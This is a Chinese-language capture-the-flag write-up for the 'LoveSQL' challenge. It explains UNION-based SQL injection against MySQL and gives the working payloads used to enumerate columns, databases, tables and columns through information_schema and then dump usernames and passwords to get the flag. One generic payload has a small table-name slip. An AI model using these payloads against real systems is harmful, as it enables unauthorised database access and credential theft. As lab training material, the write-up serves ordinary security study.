[极客大挑战 2019]LoveSQL 1

[极客大挑战 2019]LoveSQL 1

审题

又是一道SQL题,还和上面Easy_SQL是一个系列的题。

知识点

SQL注入之联合查询。

知识点详解

联合查询

基础讲解:

union联合查询定义是:可以使用UNION操作符,将多个查询结果,按行进行纵向合并。

基本语法

sql 复制代码
SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>

我们常用到的SQL语句有:

  1. 查询字段
sql 复制代码
1' order by X#  //X替换为数字
  1. 查询注入点
sql 复制代码
1' union select 1,2,3,···,X#
  1. 爆数据库
sql 复制代码
1' union select 1,2,database()#
  1. 爆表,只有一个数据库时
sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

有多个数据库时

sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
  1. 爆表的列
sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
  1. 读取内容
sql 复制代码
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#

group_concat

其中,group_concat函数的作用是将查询到的每行结果合并成一行并以逗号隔开。

比如:

没使用group_concat时,用concat查询的情况如下

ID
USER
PASSWARD

使用了group_caoncat后的结果就如下

ID,USER,PASSWARD

information_schema

nformation_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。

所以我们将从information_schema数据库中找到表名和列名。

另外,联合查询还有有很多种查询方法,大家可以去自行查找。

参考博客:

SQL入门之第十二讲------UNION 联合查询

解题

  1. 进行SQL注入测试。当输入1'时发现有报错回显,可以猜测有SQL注入。

  2. 使用基础的1' show databases# 无法得到库名,我们使用联合查询。

    由上面的知识点详解的步骤开始解题

    1. 查询字段,从1一直尝试到4,发现输入1' order by 4# 时出现报错
  1. 猜测其有三个字段,查询注入点
sql 复制代码
1' union select 1,2,3#

通过回显可以看出2,3都是注入点。

  1. 爆库名

    sql 复制代码
    1' union select 1,2,database()#
  2. 爆表名

    sql 复制代码
    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
  3. 爆列名

    sql 复制代码
    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
  4. 爆这个列名中的所有内容

    sql 复制代码
    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

    得到flag